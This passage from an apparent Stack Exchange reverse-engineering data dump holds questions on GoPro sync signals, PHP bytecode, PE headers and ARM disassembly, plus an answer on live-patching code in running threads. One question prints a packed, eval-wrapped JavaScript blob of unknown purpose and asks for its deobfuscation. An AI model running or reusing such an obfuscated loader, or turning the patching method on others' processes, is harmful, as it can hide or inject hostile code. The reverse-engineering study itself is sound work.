  <row Id="6075" PostTypeId="1" CreationDate="2014-08-14T10:39:57.537" Score="1" ViewCount="660" Body="&lt;p&gt;I need to frame sync a GoPro Dual HERO System with an external data logger. So the main problem is to get the HERO frame synchronization signal (I guess there must be one in the cable) from their system. Can someone help here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess some degree of reverse engineering could be done just by listening to the cable wires when both cameras capture synced video? I am a very new to electronics so please excuse my simplicity. There is a forum thread about &lt;a href=&quot;http://goprouser.freeforums.org/gopro-dual-hero-cable-reverse-engineer-t19093.html&quot; rel=&quot;nofollow&quot;&gt;GoPro Dual Hero cable reverse engineering&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8298" LastEditorUserId="8298" LastEditDate="2014-08-14T11:14:59.080" LastActivityDate="2014-08-14T11:14:59.080" Title="How to get frame sync signal from a GoPro Dual HERO System sync cable?" Tags="|binary-analysis|hardware|firmware|dynamic-analysis|" AnswerCount="0" CommentCount="0" ClosedDate="2017-04-10T07:53:44.790" ContentLicense="CC BY-SA 3.0" />
  <row Id="6076" PostTypeId="1" CreationDate="2014-08-14T22:08:13.410" Score="3" ViewCount="1015" Body="&lt;p&gt;I'm trying to reverse engineer a PHP obfuscator. I know that it pre-compiles the PHP to bytecode, so the recovery of original PHP source is out of scope, but I would still like to get the bytecode out. The problem is that I don't know what it looks like. I can see stuff being decoded in memory (e.g. I encode &lt;code&gt;echo &quot;abcdefg&quot;;&lt;/code&gt; and I can see the string in memory, but I'm not sure where does the bytecode start or what is the structure of it). Is there any documentation or examples of PHP byteccode online?&lt;/p&gt;&#xA;" OwnerUserId="8301" LastActivityDate="2014-08-17T07:01:50.683" Title="Is there any documentation or examples of PHP bytecode?" Tags="|byte-code|php|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6077" PostTypeId="1" AcceptedAnswerId="6081" CreationDate="2014-08-15T14:53:23.377" Score="6" ViewCount="7233" Body="&lt;p&gt;I'm implementing a software for performing some PE classification. Among the features values I'm gathering from each PE are, the &lt;strong&gt;amount of sections&lt;/strong&gt;, the &lt;strong&gt;name of sections&lt;/strong&gt;, &lt;strong&gt;image section headers&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I have been reading about &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms680198(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;ImageHlp Structures&lt;/a&gt;. But there is no example on how to get those struct initialized from a file/path_to_a_file you pass. I'm specially interested in the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms680341(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;IMAGE_SECTION_HEADER&lt;/a&gt; structure.&lt;/p&gt;&#xA;&lt;p&gt;How can I get the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms680341(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;IMAGE_SECTION_HEADER&lt;/a&gt;s form an executable file programatically?&lt;/p&gt;&#xA;" OwnerUserId="5875" LastEditorUserId="14622" LastEditDate="2022-05-27T13:27:15.983" LastActivityDate="2022-05-27T13:27:15.983" Title="Get section's names and headers for a file using C++" Tags="|binary-analysis|c++|pe|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="6078" PostTypeId="2" ParentId="6052" CreationDate="2014-08-15T15:33:40.780" Score="4" Body="&lt;p&gt;A sketch of how to implement your own patching system, where the length of the replacement instruction is less than or equal to the length of the instruction that you want to patch:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure that none of your code depends on any of the code that you will want to patch. This is an issue of re-entrancy. If you patch code that your patching system will use, then you might deadlock / block / raise an infinite number of signals. A common solution is to do things like re-implement the subset of &lt;code&gt;libc&lt;/code&gt; that you need, or statically link against some other implementation of &lt;code&gt;libc&lt;/code&gt;. Symbol versioning can help ensure that no other libraries link against your version of &lt;code&gt;libc&lt;/code&gt; (or &lt;code&gt;libc&lt;/code&gt;-like functions) at runtime.&lt;/li&gt;&#xA;&lt;li&gt;Have a dedicated patching &quot;master&quot; thread. If you're on linux, then this patching thread can be an external process that controls the program via &lt;code&gt;ptrace&lt;/code&gt;. An alternative is to dynamically elect a master thread from one of the threads that gets signalled (mentioned in the next point).&lt;/li&gt;&#xA;&lt;li&gt;Install a signal handler such that your patching thread can signal all other threads to stop and block on a condition variable. Obviously, make sure that your patcher thread does not signal itself. You might need to double check that in the time it took you to signal all threads (that you knew about), that no more new threads have been created.&lt;/li&gt;&#xA;&lt;li&gt;Now you can patch code. Change the memory protection of the pages of code containing what you want to patch so that they are readable, writeable, but not executable. Make sure the code you're using doesn't appear on the same page(s)! Change the code. Change the memory protection of that code back to readable, executable, but not writeable.&lt;/li&gt;&#xA;&lt;li&gt;Signal your condition variable / threads to wake up.&lt;/li&gt;&#xA;&lt;li&gt;When your threads wake up from being blocked on the condition variable in their signal handlers, they need to execute a synchronizing instruction, e.g. &lt;code&gt;CPUID&lt;/code&gt;, before executing the patched code. This is so that the old versions of the code do not remain in any instruction prefetch caches/buffers/whatever. Intel's software optimization manual goes into a few details here. By the way, watch out about patching the concurrency/signal mechanisms that you use to implement signal/wait/etc!&lt;/li&gt;&#xA;&lt;li&gt;Then the threads will return from the signal handler to resume execution where they were signalled.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, what to do if you want to patch an &lt;code&gt;N&lt;/code&gt; byte instruction with an &lt;code&gt;M&lt;/code&gt; byte instruction such that &lt;code&gt;M &amp;gt; N&lt;/code&gt;? We'll apply roughly the same technique, but we'll modify the return addresses of the signalled threads to point into a copy of the original instructions that include your patch &lt;code&gt;P&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, lets say you have instructions &lt;code&gt;I1; I2; I3; I4; ...&lt;/code&gt;, and your patch &lt;code&gt;P&lt;/code&gt;, if placed, would end up as: &lt;code&gt;P; I3_tail_garbage; I4; ...&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you could create a patch entrypoint &lt;code&gt;P; I1_copy; I2_copy; I3_copy; jmp &amp;amp;I4;&lt;/code&gt; at address &lt;code&gt;patch&lt;/code&gt;. You will modify some of the the return addresses in the signal handlers as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If &lt;code&gt;RA == &amp;amp;I1&lt;/code&gt;, then make it point to: &lt;code&gt;P; I1_copy; I2_copy; I3_copy; jmp &amp;amp;I4;&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;If &lt;code&gt;RA == &amp;amp;I2&lt;/code&gt;, then make it point to: &lt;code&gt;I2_copy; I3_copy; jmp &amp;amp;I4;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;If &lt;code&gt;RA == &amp;amp;I3&lt;/code&gt;, then make it point to: &lt;code&gt;I3_copy; jmp &amp;amp;I4;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Patch &lt;code&gt;I1; I2; I3; I4; ...&lt;/code&gt; to do the following: &lt;code&gt;jmp patch; int3; ...; int3; I4; ...&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; When copying code, you need to re-relativize it if your instructions somehow read from the instruction pointer. For example, if &lt;code&gt;I1&lt;/code&gt;, &lt;code&gt;I2&lt;/code&gt;, or &lt;code&gt;I3&lt;/code&gt; are branch instructions, or compute a &lt;code&gt;RIP&lt;/code&gt;-relative address, then they will potentially need to be widened/modified/replaced with equivalent instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach is to patch each of &lt;code&gt;I1&lt;/code&gt;, &lt;code&gt;I2&lt;/code&gt;, and &lt;code&gt;I3&lt;/code&gt;. If you do this, then you must start by patching only the &lt;em&gt;first&lt;/em&gt; byte of each of these instructions, and only with an &lt;code&gt;int3&lt;/code&gt;. This can be done safely, even while other threads are executing the code being patched. However, you &lt;em&gt;cannot&lt;/em&gt; safely modify the other bytes of these instructions if other threads are concurrently executing those instructions. This is because those instructions might have been prefetched, and once that has happened, they are no longer a cohesive unit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Figuring out the right protocol to handle the cases where threads concurrently execute the &lt;code&gt;int3&lt;/code&gt;s is tricky, but I think it can be handled by following a similar methodology to above approach of duplicating the first few instructions so that you guarantee that those instructions aren't lost, but you also capture threads executing code that falls within your patch region.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not familiar with the Windows environment, so the &lt;code&gt;CreateRemoteThread&lt;/code&gt; issue sounds tricky, but I think installing &lt;code&gt;int3&lt;/code&gt; instructions into the code as well as protecting the code from execution while you search for threads to signal might be sufficient. You might also consider having your master patching thread go to sleep for a short period of time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, some good references to look at are Kprobes and RCU stuff as well, as the problem faced by some &quot;extra&quot; thread seeing the old or the new version (or something in-between) is a major concern with RCU. As a concluding remark, watch out about the language of the Intel manual w.r.t. cache coherency and the icache. A lot of text can be interpreted as if atomic writes to the data caches will be represented in the icache, but in practice, this isn't guaranteed to be true (especially where prefetching is concerned), and there are some important CPU errata on the issue that make the problem harder than it first appears.&lt;/p&gt;&#xA;" OwnerUserId="1866" LastEditorUserId="1866" LastEditDate="2014-08-15T18:19:51.913" LastActivityDate="2014-08-15T18:19:51.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6079" PostTypeId="1" CreationDate="2014-08-15T21:01:29.440" Score="-2" ViewCount="2012" Body="&lt;p&gt;Is it possible to deobfuscate/decrypt this javascript code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;;eval(function(w,i,s,e){var lIll=0;var ll1I=0;var Il1l=0;var ll1l=[];var l1lI=[];while(true){if(lIll&amp;lt;5)l1lI.push(w.charAt(lIll));else if(lIll&amp;lt;w.length)ll1l.push(w.charAt(lIll));lIll++;if(ll1I&amp;lt;5)l1lI.push(i.charAt(ll1I));else if(ll1I&amp;lt;i.length)ll1l.push(i.charAt(ll1I));ll1I++;if(Il1l&amp;lt;5)l1lI.push(s.charAt(Il1l));else if(Il1l&amp;lt;s.length)ll1l.push(s.charAt(Il1l));Il1l++;if(w.length+i.length+s.length+e.length==ll1l.length+l1lI.length+e.length)break;}var lI1l=ll1l.join('');var I1lI=l1lI.join('');ll1I=0;var l1ll=[];for(lIll=0;lIll&amp;lt;ll1l.length;lIll+=2){var ll11=-1;if(I1lI.charCodeAt(ll1I)%2)ll11=1;l1ll.push(String.fromCharCode(parseInt(lI1l.substr(lIll,2),36)-ll11));ll1I++;if(ll1I&amp;gt;=l1lI.length)ll1I=0;}return l1ll.join('');}('fa31e1s212a27333718263o012z1o273z2q193x3e1b3q0z112m3o01202m3x3s37242v323n11203a251q273321162z2x23211c3s291z113a231s2535211432261y1110161z153x292q1731261s3u2t312p1z3w243e153v2b2o19312411101o253c1i2c2b38162x3s12111m380w121139233v313b36182v3u121z1o2c182v39233v2b233v3b213x2b213x1z113u2711203u291s3u271r2q1g27203q3e1x23121b3x1z1120243514312o1b3x1z1k1t35211b322n3e113u2o2z1q1g25311o1o251z1s253t193z26143e1e3c3b361c3y29341v3w2u3o3u37323b3p3720391914311411121m252c1q111z3w243e1d353a3v111z21141g1u1k181f1k1g1l1d1j3c181e1t3e1c1g1d3d143e1m3g1k1e1w1g141d172c1t2e102e1u2e112c1t2d1u2e1s1e152e1v2e1y2c1u2e152e1t3g1w2c1u2c1k2e1u1e1z2e1w1c1x2c1s3f1w2e1t2e1v2c1s2d172e1t2e1u2e1u2c1e2c1u2g1t2e1u2f1t2c1s3e1x2e1s3g142e1w2e1y2c1t3g1z2e1s1e1u2c1s2e1v2e1t2e1v2e1v2c1v2c1s3f1w2e1u3e1s2c1s3e1h2e1s2f192e1u3d102c1s2f182e1s3f1j2c1s1d172e1s3g102e1u3d172c1u3f1u2e1s3f1b2c1s3d1t2e1s2f172e1w3d1v2c1s3f192e1t3e1e2c1s3d182e1u3f1y2e1u3d192c1u3f182e1s1f1b2c1u3d1e2e1s3f172e1u3e1r2c1s2f192e1s3g1e2c1s3d192e1s3g1w2e1u1d172c1s3g192e1s3f192c1s3d1b2e1s2e1u2e1u1c1f1c1b2g1e3g1c1e1k1e1m3e1r3d1c3f1c3f1k2d123d1l2f1c2f1p1e1d3c1f3e1c1g1p1g1c1g1s3e1f1c1f1f1c3e1d1f181e1s1d1b1g1c3f1c3g1i3d1g2c1f1e1d1e1c1g1r3c1f1c183f131g1h2e1d1d1k1e1d1e1g1g1j3g1l3e1j1e141g1e3f1p1g1r1e1i1e1b2e1c1g1h3d1f2d1c1c1s2g1c1f1f3g143c1f3d1f1e1p3f1o3e1f3e181e1d1e121e1b1f1b1d1f1d1d1f1j1g1c2e1q2c1f1c1f1e1d3f1c1e1a1b1f1e1h1e1r2e1t3e102c1u2c1t1e142e1t2g1v2c1u3e1u1e1t3e1t2e1w3c1z2c1r1e1w3e192e1a2c1s1c141r123e161e1m3e1i2e1f3f142e1i3f1c1e1i1d1q2g1j1e123g1e1c1t3e142e1u2g1r2e1u2c112c1u2e1g2e1u3e1v2c1w2e1w2e1t3e1t2e1w2e1i2c1t2e1x2e1u2f102c1w2c182e1s2g1x2e1w2e1d2c1s1f162e1s3e112c1u1e1g2e1u1e1u2e1v2c1m2c1u2e162e1s2g1r2c1u1d192e1u2g1p2e1w1e1z2c1s2g1y2e1s3f122c1u2c1w2e1s1f1k2e1t2e1x2c1t3g1g2e1s1f1b2c1w3d182e1s3f192e1v3e182c1s1f172e1u3f1e2c1u2d172e1u3g1g2e1u3d1b2c1u3f1d2e1s3f1a2c1w3e1e2e1s3f172e1u3d192c1s2f172e1u3e1c2c1u3d182e1s3g1a2e1u3d1a2c1s3f1a2e1s1f192c1v3d1b2e1s3f192e1u3d172c1s2f172e1u3g1y2c1u1d172e1s3f1b2e1u3d192c1s3e1z2e1s3e1y2c1m1c123f1o1g1k1f163e141d142g1s2g1c1f163e123d1i1f1d3e1d2f181e1e1d1b1f1q3f1c1g1i3d1i1c1d1e1c1e1c1g1r3c1e1c183f131g1h2e1d1d1m1d1f1e1g2e1s2g1l3e1f1c1j3e1c2f1b1g1l1d1a1c122e192f1b2f1d1d1d2d1b1e181e1d3f1a3d173c1i1f1s3f1f2g1e3e1h1c1f3e1b1e191f1t1e1u1e121e1u1g143f1e3d191d1h1f1s2g1j2g1r1c1c3e181f1p3g1d1e1j3c1e1c1g2e1c1g1h2e1k1e1e3d1f2e1r1g1v2e1w2e1w2c1s2e1w2e1p2e1w1e1v2c1s2e162e1u1f1y2c1w1c1x2e143f183f172d1z1c191m2k1g1e3g1c1c1i3c1r1g1j1f1k1e1d3c1g1d1i1f1g2e1h1g1b2c152c1w1e1o2e1t2e152c1s1c1q2e1s3g1f2e1u2c1e2c1u3g1g2e1u1f1x2c1t2e1l2e1u2g1t2e1u3e1z2c1u2e1c2e1u1e1x2c1u2c1j2e1s1e1u2e1s2c1w2c1v2e102e1u2e1z2c1t2d1w2e1s1e152e1t3e1y2c1w2e152e1t3g1u2c1u2c1m2e1u1e1z2e1u1c1x2c1u3f1w2e1t2e1t2c1s2d192e1t3e1z2e1s3d182c1u3e1b2e1s3f192c1u3e1f2e1s3f182e1s3d1d2c1u2f172e1t3f1z2c1s1d192e1s3e1k2e1s3d172c1u3f162e1s1f192c1s3d172e1s3f182e1s3d1v2c1u3f192e1s3g1g2c1s2d1b2e1s3f1b2e1s1d172c1u3e1q2e1s3f192c1u3d1v2e1s3f182e1u3e1y2c1u3f172e1s3f192c1s3d192e1s2e1u2e1s2e1f1c143g193f1q1e1m3d1r3b1f3f1c3e1b2e1m3c1y2d1m3g1c3e1c1g1m3c1d1c1a3g133g1h2e1b2d1k1e1e1e1g2e1s1g1c3e1f1c1l3e1d1f1b3f1j3d181c142e193g1c1g1g3d1g2c1e3f1s1g1k3e1l1c1i1e1j1g1c2g1k3f1k1d1k3e1m3g1c3f1c3g1j1e1h3e161e1c1g1f3f1s3c1d1c1e1e1i2g121f141d1f2d1d1g1h3d1s2f1s2d1f3c1f2g143g1o1g1a1e1i3c1l1e1c1g1c3e1x1c122c1b1f1s1f1b3f1w1e1s2e1h3e152e1r2f1t2c1u2c1e2e1w2e1u1e1q2c1t2c1x2e162f1u2e1u3c1j2c1w1e192f1r3e192c153c191v1c2s1b2m1u1t2d1s1r1r14','d312em3q1v3s241a291u3b3x2z1d3q01121m27212q1b3v3e1k1b3x1z1k1c21193s3y1121161z153x3b2q1732261u3u2t322p113w243e153x3b2o192226113z1o252e1i3c2b381y2x3s11121o380w11122b233v312b381y2v3u11121o3c182v213p1z323a251s25352e16212v252e183u2711113a251q27352e162z381y1c3u271y2u29183s291u2u291o3e113w281z113w28113u263u2o3q0z11212b3y121o272e2q1z1z231411101o272e3q2m37222q113z312b233x3038163q011c1e2v2e2b2o142u11121d311q11313825373w273u273t15382111113a391z31161j111c1o2e182v3z2r2e2b233v312q1i29313e2b3y141m141j1e1e1d1e1e1h1e122f1m1e1e2e1m1e1a3g181g171g1m1c1k1f1f2e1s1f1t2e1v2e1t2e1s3e1w2e1u2g1g2c1u1e1z2e1s3e1t2e1w2c142e1s2g1p2e1w1e1m2c1u3e1h2e1u3f112e1u3c1z2e1t1f1u2e1u1f1w2c1s2e1u2e1t3g1x2e1w2c1v2e1u3g192e1w1f102c1t2g1q2e1s2f102e1v2e1l2e1t1e1u2e1v2e1u2c1s2e1y2e1s3e1b2e1w2e102e1s3e172e1v3g1v2c1s2f172e1s3f1z2e1u3d172e1s3f1b2e1u2f1b2c1s3f1a2e1s1f1b2e1v3e162e1s3f182e1u3f1x2c1s2f172e1t3f1e2e1u3d182e1s3f142e1u3f1b2c1u3f1a2e1s3f1a2e1u3d1h2e1s1f192e1u3f1f2c1s3f172e1s3f1v2e1u2d192e1s3f162e1u3f192c1t3e1i2e1s2f192e1u3e192e1s3f172e1w2e1w2c1s2e1e1e1f1e1r1g1e1c1k2f1d3e1b2e161e141e143f1s3f1c1g1w1f1y2d1j2f181g121d1e3g1g3e1m1e1b3e1c3f1l3g153e1l1e1i1g1h1f1i2e1a1c1f2f161g1s1f1l3e1e1c1g3g141f1h3g1b3g1e3d1s1g1m3e1c1e1e3f1e3d1f3f1f3f1c3f1e1f1d2d1e3f1e3f1b2g1u3e1h1c141g1s2g1f3f1t3d1e3d1f1e1f1e181e1e2g1d2c1c1g1b3f1g2e1e2e1e1e1k1e1d3e1g1f1i2e1l1d1t2e1s1g1j3e1f3g1a1c1d3g1i1g1f1e1i3e1w2c182e1s3e1s2e1h3e1w2e1v2e1u2e102e1h2f162c1u2e102e1u1e1h2f162d1y2f1x2e1h192g1h163e1h2f183g1r3e1c3e1w3e1c1g1i3e1j1e1q1e1j2c1a1d1g3f142e1w2g1v2c1w2f1r2e1s3g1z2e1u2e162e1u2g1y2e1v2g112c1u2e1s2e1s2g1x2e1v2c1x2e1t3e1v2e1u3f1y2c1w3e1q2e1s3g1j2e1u2c112e1s2e1e2e1u2e1k2c1u3e1z2e1u2e1x2e1w1d1t2e1t1e1g2e1u1f1z2c1v2e1m2e1u1g1x2e1v2c172e1u3e1y2e1u3e1g2c1w2e1r2e1s1f182e1w3c1i2e1s3f192e1w3g182c1u3f172e1s3f1d2e1u1d1b2e1s3f1v2e1u3f1b2c1u3e182e1s3f1b2e1w3e1d2e1s3f182e1u3f1a2c1u3f192e1u3f1x2e1u3d1a2e1s3e1c2e1u3f1b2c1v3g1d2e1s3f1b2e1u3e1m2e1s2f172e1w3g1e2c1u1f192e1u3e1s2e1u1d192e1t3e1i2e1u1f192c1u3f1e2e1s3f192e1u2c112e1s1e1k1e1a1f1m1e1l1g1f1e1i1f1r3g1t3b1e3g1f1f1b3g1j3g153e1q1e1i1f1h1f1i1e1a1c1e2f161g1c1g1l3e1f1c1i3f141f1h3g1b1f1e3d1u1g1m3e1c1e1f3f1u2e1r1e1b3e1c3g1e1e1r1e1e2g1j3g1d1e1u1f1r1e1r1g1m1g1p1g1e1g1m3e1a1e181e142f1f3g1f1c1r3e1f1f1g1g162g1e2c1i1e1d3f1c3f1e3e1k3c141e161g1k1f1j2e1u1e1s3f1f3g183g1m1g171e1m1e1f1e1d3f1u3e1e3d1u2g1l3e1d1e1y2f1m2c1u2e1u2e1s2f1z1e1w2c1v1g1f2e1t2e1t1f1v3c1j2e1u2g1j2e1u1f172c1b2f1r3f1f341l1r1m1e1c1e1m2g141g1g3g1h1d1e3g161f1i1g1l1g1t2c1i2g1y2e1r1g1i2e1u1c1u2e1v3e1k2e1w2e162c1s2g1r2e1s1f1b2e1u2e1m2e1w2g1x2e1u2g1y2c1s3f122e1s2e1y2e1s1d1k2e1t2g1v2e1v3g1g2c1s2e1w2e1s1f1t2e1t3e1t2e1u3e1w2e1u2g1e2c1u1e112e1s3e1t2e1u2c142e1u2g1p2e1w1e1k2c1u3e1j2e1u2f112e1s3c1z2e1v1f1u2e1u1f172c1t3e182e1s3f1a2e1u3d182e1u1f172e1u3e1b2c1s3f192e1u3g1v2e1s1d192e1u3f1b2e1u3f172c1s3g182e1s1f1b2e1s3d1g2e1u3f172e1w3f142c1s2f1b2e1s3f112e1s1d192e1u3g1w2e1u3f192c1t3f1d2e1s3f192e1s3c1e2e1u3f182e1v3f192c1s1f192e1t3e1b2e1s3d172e1u3f192e1u2e1u2c1s2e1y1e1f1e143e161c1k3g1d1e143e141f142e1s2e1d1e1q3e1a3e1f1c1g3g161g1h3g1b1f1f3d1s1g1r3e1d1e1e3f1s2d1m1e1d3e1d3g1e3e1m1e1f2g1e3g1c1e1u1f1f3c1d2f181g1s1f1d1f1j3d1f1g1i3f1g2e1e1e1q3d1c3f1l3f183f162e1a1c1f3f1e3f183g1e3f1m3c121f161e1e1e1f3f1s3d1i1g1e1g1p1g1f1e141c1s3f1r3e183e1v3e1f1e1g1g1k3f171g1g3e1l1c1f1e1e2e1s1f1e3f1m1e1f3e1m1g1p3e141f1s1c1w2e1v2f1s2e1t1f1y2e1f2e1w1g1t2e1v1e1w2c1s3g102e1u2g1j1e1s3c103e1t3e15141j2i2q1g2v2k1i2u1h1e1e161','562552b33313y351y371e27322q193v2e1d3q001z1o27213o2m273e2q2m2w253a1g232z1i3e2b361a2x3u113z1m280y113z39233x2139361c2x3u1z3z1o21182t3z2p112238231s27353c14212x253c1w2u29111z38251s27333c1631281w10111611133v3b2q192z341u3u2v2z3n113w263c133x3b2q172z2612111m23113w281z3u28113w261z3w2q2139213x3e2b213v2b233x252y3b3x2e1z1z2435163o00223e2b3w121o3e1d3o0z212m241z3z1o21111z3s2911211d393x3e1a1w10222x3w2s332e12111c1m11153x27211v322q12232722352c162835211d1e1a3e163z261y11121z302u2911101m3u37013z223516352e1g3f1l1g1k1d1h1e1s3d1h2g1q3f1f3e1a3g1m1e1g1e1h2f1e3c1u3f1m2c1r3e1z2e1u3e102e1v2c1w2e1s3f1k2c1u2e1a2c1q3e1r2e1u2c1s2e1v1c1e2e1u2e142c1w2e112c1q2e1b2e1u2e1g2e1v3e1h2e1s2e1u2c1u1g162c1s2g1r2e1s2c112e1w2c1e2e1u3e1t2c1w2g1y2c1r2e1t2e1u2e1i2e1v2c1v2e1u2f1y2c1w2e1a2c1q2g1x2e1u2e1d2e1u1d142e1u3g1v2c1u3f1b2c1q3f192e1s1d1a2e1u3e1x2e1s3f192c1u3e1k2c1q2f172e1u3d162e1u2d152e1t3f1o2c1u2f1b2c1s3f142e1s3d1b2e1w3c1a2e1s2f172c1w3f1f2c1q3f172e1t3d1e2e1u3d152e1s3g1b2c1u2f192c1r3f1z2e1s3d182e1w3e182e1s2f182c1w3g1x2c1q3f172e1s3d1b2e1u3d1s2e1s2e1u2c1h1e1j3d1e1g1g3g1u1d161g1u2e1b1e1i1g121d163f1i1c1e1e1s2g1q3e1e3e1l3c1d2f1b1g1j2d1a3g143c171f1f1g1g3d1i2e1e3d1q3g1k1e1o1c1k1g1j3d1a1e1h1e1b2d1m3g1a3d1d3e1a1g1g3e161f1j1c101e1a1e1a1c1c1e1c3e1k1g1s2f1b2d1d1f1r3d1d1f1g1g1d1d1r3e142c121g101e1c3d1e3g1m3e1r2g1s2e1d1d1c3g1u1c1q3e1g3f1e3e161f1k1e1q1f1g1e1u2d1j3f1e3c1d1g1k1e123e1e3f1i1e172g1v2e1t3c172e1u2c153e1q2e1r2e1t2e1v2e1u2e1u2g1r2c1t2g1j2c1v2f1w3f1w3c1u2e141q2g3g193f1q1c1b1e153e123e141g1i3d191g1g2e1k1e1x3g1i3e172e1v3e1v2e1u2e1v2c1w3g1b2c1u1f1y2e1t2e1s2e1u2d1y2e1t2g1o2c1v1e1w2c1t2e1s2e1s3c102e1u3c192e1u2g102c1u3e192c1t3g1z2e1s3c1y2e1w1c1o2e1t2e152c1u1e1q2c1s3g1f2e1u2c1g2e1u3e1g2e1u2f1x2c1v2g1l2c1u2g1t2e1u3e112e1u2c1c2e1u1e1x2c1w2e1j2c1s1f182e1u3d1c2e1u3d192e1s3f1a2c1u3f1b2c1u3f1l2e1s3d1b2e1v3c1d2e1s1f182c1w3g172c1s3f172e1t3d1f2e1u3d182e1u3g102c1u3f1a2c1s3f192e1s3d1a2e1u3c172e1s3f172c1u3e1f2c1s3f172e1s3e1q2e1u3d192e1u3f1c2c1u3f192c1s3f1j2e1s2d1a2e1w3d1b2e1s1f172c1u3f1d2c1s2e1z2e1s2c1m1e1j3c1c2f1e1e1h3b1e3f1e3c1b2e141e103b1f3g1a1d191f1f1g1g3d1i1e1e3d1c2f1k1e1o1c1k1f1j1e1c1e1h1e1b2d1m1f1a3d1c3e1a1f1g3d161g1j3c121f1w2f1j1d1a1e141b1d1g1e3f1p1c1d3e1e3e1j3g1e3f1e3e1g3f1g3c1c3f1f1f1k3e1m3f1y1e142e1e1e1b1c1f1g1j3d1p3e1y3g1c2e152e1c3d142f1f3e1g1c1k3e1e1c1s2f1m1e1c2e1d3f163e1d2g1i1f1k1e1j1e141e141e1a1f1r1e1d1e1g1c1z2e1t2e1y2c1t2e1w2c1f2e1u2g1f2c1w2e1q2c1f3e102e1u2c1v2e1u2e1f3e1s3e1t3c102f14121i1f1i1g1g3e1w1g1j2d191e1l1f191d1h1f1d1c1h1e1w1g1o3c1u3f1e2c1q2e1k2e1s3c112e1u2c1t2e1w1f1r2c1v1e1g2c1q1f1z2e1t2c1r2e1u1e1t2e1v2e152c1w2e1y2c1q3e1g2e1u2c1t2e1s1d142e1u2e1u2c1u2g1k2c1r3e112e1u2e102e1t2c1w2e1u3f1k2c1u2e182c1q3e1t2e1u2c1s2e1t1c1e2e1w2e142c1w2e1z2c1q2e1d2e1u2e1g2e1t3e1h2e1u2f182c1u3e1f2c1q1f1b2e1s3e1d2e1s3d162e1v3e192c1u3f172c1q3e1j2e1s2d1a2e1u3c1b2e1u1f192c1u3e1h2c1q3f1a2e1u3d1b2e1s3d172e1u3e1z2c1u2f192c1q3f1d2e1s1d1b2e1s3d1a2e1u1f172c1v3g1b2c1q2f1a2e1s3d1a2e1s2d152e1v3e1j2c1u2f182c1q3f1b2e1s3d192e1s3d1r2e1u2e1u2c1h1e1f3b123g1h2f181e1e2g1f1c1g1g1r3g1y1e1e2e1f1e1a1g1j1e1b1d1m1f183d1b3e1c1g1g3e161f1h1d101g1y2f1j3d1a3e121b1d1f1g3g1p1c1d3e1d3d1h3f151g1o1c1k1f1h1d1e2e1a1e1c1d181g1s1d1h3e1a1e181c1a1e181c1q1g1l1e1a1c1c1g123b1d1g1e1e1i2d1e3f1f1c101g163g1d3c1e3f1e3d1h1g1e2e192d161f1f1c1d3e1e2f1i3d1c1g1g1d1d1g1m1g1h2c1u3f1j3d132f1g3g142d1g2f1c1c1d3e1l2e1t2c1t2e1t3e1i2f1u2e1u2c1h2e1u2c1i3e1v2g152c1t1e1v2c1i3e182f183d1a3e1h122o1r2e1u1t2d2r1d2k2h221o','6fa51bac150ef9f7e25fbe006e71b61b'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And please tell me how you did it, if you're a ninja and decrypted all that.&lt;/p&gt;&#xA;" OwnerUserId="8307" LastActivityDate="2014-08-16T03:36:17.907" Title="Trying to decrypt javascript code" Tags="|obfuscation|deobfuscation|decryption|javascript|" AnswerCount="1" CommentCount="1" ClosedDate="2014-08-18T10:33:32.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="6080" PostTypeId="1" AcceptedAnswerId="6085" CreationDate="2014-08-15T22:18:37.817" Score="12" ViewCount="14674" Body="&lt;p&gt;I try to build a small disassembler for ARM, and I would like to know how do &lt;code&gt;objdump&lt;/code&gt; manage to sort out the normal mode instructions (32-bits instruction wide) from the thumb mode instructions (16-bits instruction wide) without having to look at the &lt;code&gt;t&lt;/code&gt; flag in the CPSR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But first, let us build a small example and make some experiments on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote this small piece of ARM assembly (&lt;code&gt;gas&lt;/code&gt; syntax) as basis example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.arm&#xA;    mov fp, #0&#xA;    moveq   r1, r0&#xA;.thumb&#xA;    mov r0, #0&#xA;    mov fp, r0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, I cross-compiled it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; arm-none-eabi-gcc -Wall -Wextra 